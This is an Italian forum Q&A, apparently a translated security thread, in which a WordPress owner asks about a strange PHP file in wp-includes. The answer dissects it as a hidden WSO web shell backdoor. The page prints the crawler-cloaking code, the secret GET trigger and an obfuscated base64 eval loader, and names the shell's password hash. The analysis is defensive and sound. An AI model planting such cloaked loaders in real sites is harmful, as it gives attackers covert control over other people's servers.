Ho trovato questo codice strano nel mio Wordpress sotto wp-includes

5

Ho trovato il seguente codice nella mia applicazione Wordpress, ma non sono nemmeno sicuro di cosa sia decodificato. La prima parte del file ha il seguente aspetto:

<?php

// Preventing a directory listing
if(!empty($_SERVER["HTTP_USER_AGENT"])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");

    if(preg_match("/" . implode("|", $userAgents) . "/i", $_SERVER["HTTP_USER_AGENT"])) {
        header("HTTP/1.0 404 Not Found");exit;
    }
} 

E la seguente parte del file ha un aspetto simile a questo (l'ho pubblicata su Gist perché non mi permetteva di inserirlo qui perché è troppo lunga): link

Potresti aiutarmi a capire cosa sta facendo?

    
posta Hommer Smith 05.03.2014 - 19:22
fonte

1 risposta

8

Questo è sicuramente qualcosa che l'autore non ha voluto guardare. Anche la sintesi di Github ha l'aspetto di solo le nove righe di codice che hai pubblicato qui. Solo uno script per evitare l'elenco delle directory ...

Ma solo a prima vista. Perché se guardi più da vicino, l'ultima riga è lunga ben 91959 caratteri con molti spazi bianchi dopo l'iniziale } .

L'intero codice aggiuntivo è racchiuso in un'istruzione if :

if (isset($_GET[str_rot13(pack("H*", "667265707267"))]))

Controlla se $_GET['secret'] è impostato. Il codice all'interno del blocco if è fondamentalmente una variabile che contiene il payload effettivo ( $_X ):

$_F=__FILE__;
$_X="…";

E un decoder:

eval(base64_decode("JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPXN0cl9yZXBsYWNlKCdfX0ZJTEVfXycsIiciLiRfRi4iJyIsJF9YKTtldmFsKCRfUik7JF9SPTA7JF9YPTA7"));

L'utilizzo di echo anziché eval ha come risultato:

$_X=base64_decode($_X);
$_X=strtr($_X,'123456aouie','aouie123456');
$_R=str_replace('__FILE__',"'".$_F."'",$_X);
eval($_R);
$_R=0;
$_X=0;

Dopo un altro passo di decodifica, il payload effettivo viene decodificato e rivela una versione 2.5 di WSO Web Shell con 2ef1d6430bce32d929d13a00fe281be8 come hash MD5 della password.

    
risposta data 05.03.2014 - 20:50
fonte

Leggi altre domande sui tag